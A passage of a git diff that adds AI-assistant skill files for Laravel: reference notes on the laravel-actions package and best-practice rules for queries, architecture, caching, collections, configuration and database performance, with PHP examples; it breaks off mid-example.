+- Fakes are cleared when leakage risk exists.
+- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer.
+
+## Common pitfalls
+
+- Over-mocking and losing behavior confidence.
+- Asserting only dispatch, not business correctness.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-fake.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/troubleshooting.md b/.claude/skills/laravel-actions/references/troubleshooting.md
new file mode 100644
index 000000000..cf6a5800f
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/troubleshooting.md
@@ -0,0 +1,33 @@
+# Troubleshooting
+
+## Scope
+
+Use this reference when action wiring behaves unexpectedly.
+
+## Recap
+
+- Provides a fast triage flow for routing, queueing, events, and command wiring.
+- Lists recurring failure patterns and where to check first.
+- Encourages reproducing issues with focused tests before broad debugging.
+- Separates wiring diagnostics from domain logic verification.
+
+## Fast checks
+
+- Action class uses `AsAction`.
+- Namespace and autoloading are correct.
+- Entrypoint wiring (route, queue, event, command) is registered.
+- Method signatures and argument types match caller expectations.
+
+## Failure patterns
+
+- Controller route points to wrong class.
+- Queue worker/config mismatch.
+- Listener mapping not loaded.
+- Command signature mismatch.
+- Command not registered in the console kernel.
+
+## Debug checklist
+
+- Reproduce with a focused failing test.
+- Validate wiring layer first, then domain behavior.
+- Isolate dependencies with fakes/spies where appropriate.
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/with-attributes.md b/.claude/skills/laravel-actions/references/with-attributes.md
new file mode 100644
index 000000000..1b28cf2cb
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/with-attributes.md
@@ -0,0 +1,189 @@
+# With Attributes (`WithAttributes` trait)
+
+## Scope
+
+Use this reference when an action stores and validates input via internal attributes instead of method arguments.
+
+## Recap
+
+- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers).
+- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params).
+- Lists validation/authorization hooks reused from controller validation pipeline.
+- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`.
+
+## Methods provided (`WithAttributes` trait)
+
+### `setRawAttributes`
+
+Replaces all attributes with the provided payload.
+
+```php
+$action->setRawAttributes([
+ 'key' => 'value',
+]);
+```
+
+### `fill`
+
+Merges provided attributes into existing attributes.
+
+```php
+$action->fill([
+ 'key' => 'value',
+]);
+```
+
+### `fillFromRequest`
+
+Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide.
+
+```php
+$action->fillFromRequest($request);
+```
+
+### `all`
+
+Returns all attributes.
+
+```php
+$action->all();
+```
+
+### `only`
+
+Returns attributes matching the provided keys.
+
+```php
+$action->only('title', 'body');
+```
+
+### `except`
+
+Returns attributes excluding the provided keys.
+
+```php
+$action->except('body');
+```
+
+### `has`
+
+Returns whether an attribute exists for the given key.
+
+```php
+$action->has('title');
+```
+
+### `get`
+
+Returns the attribute value by key, with optional default.
+
+```php
+$action->get('title');
+$action->get('title', 'Untitled');
+```
+
+### `set`
+
+Sets an attribute value by key.
+
+```php
+$action->set('title', 'My blog post');
+```
+
+### `__get`
+
+Accesses attributes as object properties.
+
+```php
+$action->title;
+```
+
+### `__set`
+
+Updates attributes as object properties.
+
+```php
+$action->title = 'My blog post';
+```
+
+### `__isset`
+
+Checks attribute existence as object properties.
+
+```php
+isset($action->title);
+```
+
+### `validateAttributes`
+
+Runs authorization and validation using action attributes and returns validated data.
+
+```php
+$validatedData = $action->validateAttributes();
+```
+
+## Methods used (`AttributeValidator`)
+
+`WithAttributes` uses the same authorization/validation hooks as `AsController`:
+
+- `prepareForValidation`
+- `authorize`
+- `rules`
+- `withValidator`
+- `afterValidator`
+- `getValidator`
+- `getValidationData`
+- `getValidationMessages`
+- `getValidationAttributes`
+- `getValidationRedirect`
+- `getValidationErrorBag`
+- `getValidationFailure`
+- `getAuthorizationFailure`
+
+## Example
+
+```php
+class CreateArticle
+{
+ use AsAction;
+ use WithAttributes;
+
+ public function rules(): array
+ {
+ return [
+ 'title' => ['required', 'string', 'min:8'],
+ 'body' => ['required', 'string'],
+ ];
+ }
+
+ public function handle(array $attributes): Article
+ {
+ return Article::create($attributes);
+ }
+}
+
+$action = CreateArticle::make()->fill([
+ 'title' => 'My first post',
+ 'body' => 'Hello world',
+]);
+
+$validated = $action->validateAttributes();
+$article = $action->handle($validated);
+```
+
+## Checklist
+
+- Attribute keys are explicit and stable.
+- Validation rules match expected attribute shape.
+- `validateAttributes()` is called before side effects when needed.
+- Validation/authorization hooks are tested in focused unit tests.
+
+## Common pitfalls
+
+- Mixing attribute-based and argument-based flows inconsistently in the same action.
+- Assuming route params override request input in `fillFromRequest` (they do not).
+- Skipping `validateAttributes()` when using external input.
+
+## References
+
+- https://www.laravelactions.com/2.x/with-attributes.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/SKILL.md b/.claude/skills/laravel-best-practices/SKILL.md
new file mode 100644
index 000000000..99018f3ae
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/SKILL.md
@@ -0,0 +1,190 @@
+---
+name: laravel-best-practices
+description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Best Practices
+
+Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`.
+
+## Consistency First
+
+Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern.
+
+Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides.
+
+## Quick Reference
+
+### 1. Database Performance → `rules/db-performance.md`
+
+- Eager load with `with()` to prevent N+1 queries
+- Enable `Model::preventLazyLoading()` in development
+- Select only needed columns, avoid `SELECT *`
+- `chunk()` / `chunkById()` for large datasets
+- Index columns used in `WHERE`, `ORDER BY`, `JOIN`
+- `withCount()` instead of loading relations to count
+- `cursor()` for memory-efficient read-only iteration
+- Never query in Blade templates
+
+### 2. Advanced Query Patterns → `rules/advanced-queries.md`
+
+- `addSelect()` subqueries over eager-loading entire has-many for a single value
+- Dynamic relationships via subquery FK + `belongsTo`
+- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries
+- `setRelation()` to prevent circular N+1 queries
+- `whereIn` + `pluck()` over `whereHas` for better index usage
+- Two simple queries can beat one complex query
+- Compound indexes matching `orderBy` column order
+- Correlated subqueries in `orderBy` for has-many sorting (avoid joins)
+
+### 3. Security → `rules/security.md`
+
+- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates
+- No raw SQL with user input — use Eloquent or query builder
+- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes
+- Validate MIME type, extension, and size for file uploads
+- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields
+
+### 4. Caching → `rules/caching.md`
+
+- `Cache::remember()` over manual get/put
+- `Cache::flexible()` for stale-while-revalidate on high-traffic data
+- `Cache::memo()` to avoid redundant cache hits within a request
+- Cache tags to invalidate related groups
+- `Cache::add()` for atomic conditional writes
+- `once()` to memoize per-request or per-object lifetime
+- `Cache::lock()` / `lockForUpdate()` for race conditions
+- Failover cache stores in production
+
+### 5. Eloquent Patterns → `rules/eloquent.md`
+
+- Correct relationship types with return type hints
+- Local scopes for reusable query constraints
+- Global scopes sparingly — document their existence
+- Attribute casts in the `casts()` method
+- Cast date columns, use Carbon instances in templates
+- `whereBelongsTo($model)` for cleaner queries
+- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries
+
+### 6. Validation & Forms → `rules/validation.md`
+
+- Form Request classes, not inline validation
+- Array notation `['required', 'email']` for new code; follow existing convention
+- `$request->validated()` only — never `$request->all()`
+- `Rule::when()` for conditional validation
+- `after()` instead of `withValidator()`
+
+### 7. Configuration → `rules/config.md`
+
+- `env()` only inside config files
+- `App::environment()` or `app()->isProduction()`
+- Config, lang files, and constants over hardcoded text
+
+### 8. Testing Patterns → `rules/testing.md`
+
+- `LazilyRefreshDatabase` over `RefreshDatabase` for speed
+- `assertModelExists()` over raw `assertDatabaseHas()`
+- Factory states and sequences over manual overrides
+- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before
+- `recycle()` to share relationship instances across factories
+
+### 9. Queue & Job Patterns → `rules/queue-jobs.md`
+
+- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]`
+- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency
+- Always implement `failed()`; with `retryUntil()`, set `$tries = 0`
+- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs
+- Horizon for complex multi-queue scenarios
+
+### 10. Routing & Controllers → `rules/routing.md`
+
+- Implicit route model binding
+- Scoped bindings for nested resources
+- `Route::resource()` or `apiResource()`
+- Methods under 10 lines — extract to actions/services
+- Type-hint Form Requests for auto-validation
+
+### 11. HTTP Client → `rules/http-client.md`
+
+- Explicit `timeout` and `connectTimeout` on every request
+- `retry()` with exponential backoff for external APIs
+- Check response status or use `throw()`
+- `Http::pool()` for concurrent independent requests
+- `Http::fake()` and `preventStrayRequests()` in tests
+
+### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md`
+
+- Event discovery over manual registration; `event:cache` in production
+- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions
+- Queue notifications and mailables with `ShouldQueue`
+- On-demand notifications for non-user recipients
+- `HasLocalePreference` on notifiable models
+- `assertQueued()` not `assertSent()` for queued mailables
+- Markdown mailables for transactional emails
+
+### 13. Error Handling → `rules/error-handling.md`
+
+- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern
+- `ShouldntReport` for exceptions that should never log
+- Throttle high-volume exceptions to protect log sinks
+- `dontReportDuplicates()` for multi-catch scenarios
+- Force JSON rendering for API routes
+- Structured context via `context()` on exception classes
+
+### 14. Task Scheduling → `rules/scheduling.md`
+
+- `withoutOverlapping()` on variable-duration tasks
+- `onOneServer()` on multi-server deployments
+- `runInBackground()` for concurrent long tasks
+- `environments()` to restrict to appropriate environments
+- `takeUntilTimeout()` for time-bounded processing
+- Schedule groups for shared configuration
+
+### 15. Architecture → `rules/architecture.md`
+
+- Single-purpose Action classes; dependency injection over `app()` helper
+- Prefer official Laravel packages and follow conventions, don't override defaults
+- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety
+- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution
+
+### 16. Migrations → `rules/migrations.md`
+
+- Generate migrations with `php artisan make:migration`
+- `constrained()` for foreign keys
+- Never modify migrations that have run in production
+- Add indexes in the migration, not as an afterthought
+- Mirror column defaults in model `$attributes`
+- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes
+- One concern per migration — never mix DDL and DML
+
+### 17. Collections → `rules/collections.md`
+
+- Higher-order messages for simple collection operations
+- `cursor()` vs. `lazy()` — choose based on relationship needs
+- `lazyById()` when updating records while iterating
+- `toQuery()` for bulk operations on collections
+
+### 18. Blade & Views → `rules/blade-views.md`
+
+- `$attributes->merge()` in component templates
+- Blade components over `@include`; `@pushOnce` for per-component scripts
+- View Composers for shared view data
+- `@aware` for deeply nested component props
+
+### 19. Conventions & Style → `rules/style.md`
+
+- Follow Laravel naming conventions for all entities
+- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions
+- No JS/CSS in Blade, no HTML in PHP classes
+- Code should be readable; comments only for config files
+
+## How to Apply
+
+Always use a sub-agent to read rule files and explore this skill's content.
+
+1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10)
+2. Check sibling files for existing patterns — follow those first per Consistency First
+3. Verify API syntax with `search-docs` for the installed Laravel version
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/advanced-queries.md b/.claude/skills/laravel-best-practices/rules/advanced-queries.md
new file mode 100644
index 000000000..920714a14
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/advanced-queries.md
@@ -0,0 +1,106 @@
+# Advanced Query Patterns
+
+## Use `addSelect()` Subqueries for Single Values from Has-Many
+
+Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries.
+
+```php
+public function scopeWithLastLoginAt($query): void
+{
+ $query->addSelect([
+ 'last_login_at' => Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->withCasts(['last_login_at' => 'datetime']);
+}
+```
+
+## Create Dynamic Relationships via Subquery FK
+
+Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection.
+
+```php
+public function lastLogin(): BelongsTo
+{
+ return $this->belongsTo(Login::class);
+}
+
+public function scopeWithLastLogin($query): void
+{
+ $query->addSelect([
+ 'last_login_id' => Login::select('id')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->with('lastLogin');
+}
+```
+
+## Use Conditional Aggregates Instead of Multiple Count Queries
+
+Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values.
+
+```php
+$statuses = Feature::toBase()
+ ->selectRaw("count(case when status = 'Requested' then 1 end) as requested")
+ ->selectRaw("count(case when status = 'Planned' then 1 end) as planned")
+ ->selectRaw("count(case when status = 'Completed' then 1 end) as completed")
+ ->first();
+```
+
+## Use `setRelation()` to Prevent Circular N+1
+
+When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries.
+
+```php
+$feature->load('comments.user');
+$feature->comments->each->setRelation('feature', $feature);
+```
+
+## Prefer `whereIn` + Subquery Over `whereHas`
+
+`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory.
+
+Incorrect (correlated EXISTS re-executes per row):
+
+```php
+$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term));
+```
+
+Correct (index-friendly subquery, no PHP memory overhead):
+
+```php
+$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id'));
+```
+
+## Sometimes Two Simple Queries Beat One Complex Query
+
+Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index.
+
+## Use Compound Indexes Matching `orderBy` Column Order
+
+When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index.
+
+```php
+// Migration
+$table->index(['last_name', 'first_name']);
+
+// Query — column order must match the index
+User::query()->orderBy('last_name')->orderBy('first_name')->paginate();
+```
+
+## Use Correlated Subqueries for Has-Many Ordering
+
+When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading.
+
+```php
+public function scopeOrderByLastLogin($query): void
+{
+ $query->orderByDesc(Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1)
+ );
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/architecture.md b/.claude/skills/laravel-best-practices/rules/architecture.md
new file mode 100644
index 000000000..165056422
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/architecture.md
@@ -0,0 +1,202 @@
+# Architecture Best Practices
+
+## Single-Purpose Action Classes
+
+Extract discrete business operations into invokable Action classes.
+
+```php
+class CreateOrderAction
+{
+ public function __construct(private InventoryService $inventory) {}
+
+ public function execute(array $data): Order
+ {
+ $order = Order::create($data);
+ $this->inventory->reserve($order);
+
+ return $order;
+ }
+}
+```
+
+## Use Dependency Injection
+
+Always use constructor injection. Avoid `app()` or `resolve()` inside classes.
+
+Incorrect:
+```php
+class OrderController extends Controller
+{
+ public function store(StoreOrderRequest $request)
+ {
+ $service = app(OrderService::class);
+
+ return $service->create($request->validated());
+ }
+}
+```
+
+Correct:
+```php
+class OrderController extends Controller
+{
+ public function __construct(private OrderService $service) {}
+
+ public function store(StoreOrderRequest $request)
+ {
+ return $this->service->create($request->validated());
+ }
+}
+```
+
+## Code to Interfaces
+
+Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability.
+
+Incorrect (concrete dependency):
+```php
+class OrderService
+{
+ public function __construct(private StripeGateway $gateway) {}
+}
+```
+
+Correct (interface dependency):
+```php
+interface PaymentGateway
+{
+ public function charge(int $amount, string $customerId): PaymentResult;
+}
+
+class OrderService
+{
+ public function __construct(private PaymentGateway $gateway) {}
+}
+```
+
+Bind in a service provider:
+
+```php
+$this->app->bind(PaymentGateway::class, StripeGateway::class);
+```
+
+## Default Sort by Descending
+
+When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres.
+
+Incorrect:
+```php
+$posts = Post::paginate();
+```
+
+Correct:
+```php
+$posts = Post::latest()->paginate();
+```
+
+## Use Atomic Locks for Race Conditions
+
+Prevent race conditions with `Cache::lock()` or `lockForUpdate()`.
+
+```php
+Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) {
+ $order->process();
+});
+
+// Or at query level
+$product = Product::where('id', $id)->lockForUpdate()->first();
+```
+
+## Use `mb_*` String Functions
+
+When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters.
+
+Incorrect:
+```php
+strlen('José'); // 5 (bytes, not characters)
+strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte
+```
+
+Correct:
+```php
+mb_strlen('José'); // 4 (characters)
+mb_strtolower('MÜNCHEN'); // 'münchen'
+
+// Prefer Laravel's Str helpers when available
+Str::length('José'); // 4
+Str::lower('MÜNCHEN'); // 'münchen'
+```
+
+## Use `defer()` for Post-Response Work
+
+For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead.
+
+Incorrect (job overhead for trivial work):
+```php
+dispatch(new LogPageView($page));
+```
+
+Correct (runs after response, same process):
+```php
+defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()]));
+```
+
+Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work.
+
+## Use `Context` for Request-Scoped Data
+
+The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually.
+
+```php
+// In middleware
+Context::add('tenant_id', $request->header('X-Tenant-ID'));
+
+// Anywhere later — controllers, jobs, log context
+$tenantId = Context::get('tenant_id');
+```
+
+Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`.
+
+## Use `Concurrency::run()` for Parallel Execution
+
+Run independent operations in parallel using child processes — no async libraries needed.
+
+```php
+use Illuminate\Support\Facades\Concurrency;
+
+[$users, $orders] = Concurrency::run([
+ fn () => User::count(),
+ fn () => Order::where('status', 'pending')->count(),
+]);
+```
+
+Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially.
+
+## Convention Over Configuration
+
+Follow Laravel conventions. Don't override defaults unnecessarily.
+
+Incorrect:
+```php
+class Customer extends Model
+{
+ protected $table = 'Customer';
+ protected $primaryKey = 'customer_id';
+
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id');
+ }
+}
+```
+
+Correct:
+```php
+class Customer extends Model
+{
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class);
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/blade-views.md b/.claude/skills/laravel-best-practices/rules/blade-views.md
new file mode 100644
index 000000000..c6f8aaf1e
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/blade-views.md
@@ -0,0 +1,36 @@
+# Blade & Views Best Practices
+
+## Use `$attributes->merge()` in Component Templates
+
+Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly.
+
+```blade
+
+```
+
+## Use `@pushOnce` for Per-Component Scripts
+
+If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once.
+
+## Prefer Blade Components Over `@include`
+
+`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots.
+
+## Use View Composers for Shared View Data
+
+If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it.
+
+## Use Blade Fragments for Partial Re-Renders (htmx/Turbo)
+
+A single view can return either the full page or just a fragment, keeping routing clean.
+
+```php
+return view('dashboard', compact('users'))
+ ->fragmentIf($request->hasHeader('HX-Request'), 'user-list');
+```
+
+## Use `@aware` for Deeply Nested Component Props
+
+Avoids re-passing parent props through every level of nested components.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/caching.md b/.claude/skills/laravel-best-practices/rules/caching.md
new file mode 100644
index 000000000..eb3ef3e62
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/caching.md
@@ -0,0 +1,70 @@
+# Caching Best Practices
+
+## Use `Cache::remember()` Instead of Manual Get/Put
+
+Atomic pattern prevents race conditions and removes boilerplate.
+
+Incorrect:
+```php
+$val = Cache::get('stats');
+if (! $val) {
+ $val = $this->computeStats();
+ Cache::put('stats', $val, 60);
+}
+```
+
+Correct:
+```php
+$val = Cache::remember('stats', 60, fn () => $this->computeStats());
+```
+
+## Use `Cache::flexible()` for Stale-While-Revalidate
+
+On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background.
+
+Incorrect: `Cache::remember('users', 300, fn () => User::all());`
+
+Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function.
+
+## Use `Cache::memo()` to Avoid Redundant Hits Within a Request
+
+If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory.
+
+`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5.
+
+## Use Cache Tags to Invalidate Related Groups
+
+Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`.
+
+```php
+Cache::tags(['user-1'])->flush();
+```
+
+## Use `Cache::add()` for Atomic Conditional Writes
+
+`add()` only writes if the key does not exist — atomic, no race condition between checking and writing.
+
+Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }`
+
+Correct: `Cache::add('lock', true, 10);`
+
+## Use `once()` for Per-Request Memoization
+
+`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory.
+
+```php
+public function roles(): Collection
+{
+ return once(fn () => $this->loadRoles());
+}
+```
+
+Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching.
+
+## Configure Failover Cache Stores in Production
+
+If Redis goes down, the app falls back to a secondary store automatically.
+
+```php
+'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']],
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/collections.md b/.claude/skills/laravel-best-practices/rules/collections.md
new file mode 100644
index 000000000..14f683d32
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/collections.md
@@ -0,0 +1,44 @@
+# Collection Best Practices
+
+## Use Higher-Order Messages for Simple Operations
+
+Incorrect:
+```php
+$users->each(function (User $user) {
+ $user->markAsVip();
+});
+```
+
+Correct: `$users->each->markAsVip();`
+
+Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc.
+
+## Choose `cursor()` vs. `lazy()` Correctly
+
+- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk).
+- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading.
+
+Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored.
+
+Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work.
+
+## Use `lazyById()` When Updating Records While Iterating
+
+`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation.
+
+## Use `toQuery()` for Bulk Operations on Collections
+
+Avoids manual `whereIn` construction.
+
+Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);`
+
+Correct: `$users->toQuery()->update([...]);`
+
+## Use `#[CollectedBy]` for Custom Collection Classes
+
+More declarative than overriding `newCollection()`.
+
+```php
+#[CollectedBy(UserCollection::class)]
+class User extends Model {}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/config.md b/.claude/skills/laravel-best-practices/rules/config.md
new file mode 100644
index 000000000..8fd8f536f
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/config.md
@@ -0,0 +1,73 @@
+# Configuration Best Practices
+
+## `env()` Only in Config Files
+
+Direct `env()` calls return `null` when config is cached.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'key' => env('API_KEY'),
+
+// Application code
+$key = config('services.key');
+```
+
+## Use Encrypted Env or External Secrets
+
+Never store production secrets in plain `.env` files in version control.
+
+Incorrect:
+```bash
+
+# .env committed to repo or shared in Slack
+
+STRIPE_SECRET=sk_live_abc123
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
+```
+
+Correct:
+```bash
+php artisan env:encrypt --env=production --readable
+php artisan env:decrypt --env=production
+```
+
+For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime.
+
+## Use `App::environment()` for Environment Checks
+
+Incorrect:
+```php
+if (env('APP_ENV') === 'production') {
+```
+
+Correct:
+```php
+if (app()->isProduction()) {
+// or
+if (App::environment('production')) {
+```
+
+## Use Constants and Language Files
+
+Use class constants instead of hardcoded magic strings for model states, types, and statuses.
+
+```php
+// Incorrect
+return $this->type === 'normal';
+
+// Correct
+return $this->type === self::TYPE_NORMAL;
+```
+
+If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there.
+
+```php
+// Only when lang files already exist in the project
+return back()->with('message', __('app.article_added'));
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/db-performance.md b/.claude/skills/laravel-best-practices/rules/db-performance.md
new file mode 100644
index 000000000..8fb719377
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/db-performance.md
@@ -0,0 +1,192 @@
+# Database Performance Best Practices
+
+## Always Eager Load Relationships
+
+Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront.
+
+Incorrect (N+1 — executes 1 + N queries):
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Correct (2 queries total):
+```php
+$posts = Post::with('author')->get();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Constrain eager loads to select only needed columns (always include the foreign key):
+
+```php
+$users = User::with(['posts' => function ($query) {
+ $query->select('id', 'user_id', 'title')
+ ->where('published', true)
+ ->latest()
+ ->limit(10);
+}])->get();
+```
+
+## Prevent Lazy Loading in Development
+
+Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development.
+
+```php
+public function boot(): void
+{
+ Model::preventLazyLoading(! app()->isProduction());
+}
+```
+
+Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded.
+
+## Select Only Needed Columns
+
+Avoid `SELECT *` — especially when tables have large text or JSON columns.
+
+Incorrect:
+```php
+$posts = Post::with('author')->get();
+```
+
+Correct:
+```php
+$posts = Post::select('id', 'title', 'user_id', 'created_at')
+ ->with(['author:id,name,avatar'])
+ ->get();
+```
+
+When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match.
+
+## Chunk Large Datasets
+
+Never load thousands of records at once. Use chunking for batch processing.
+
+Incorrect:
+```php
+$users = User::all();
+foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+}
+```
+
+Correct:
+```php
+User::where('subscribed', true)->chunk(200, function ($users) {
+ foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+ }
+});
+```
+
+Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change:
+
+```php
+User::where('active', false)->chunkById(200, function ($users) {
+ $users->each->delete();
+});
+```
+
+## Add Database Indexes
+
+Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->index()->constrained();
+ $table->string('status')->index();
+ $table->timestamps();
+ $table->index(['status', 'created_at']);
+});
+```
+
+Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`).
+
+## Use `withCount()` for Counting Relations
+
+Never load entire collections just to count them.
+
+Incorrect:
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->comments->count();
+}
+```
+
+Correct:
+```php
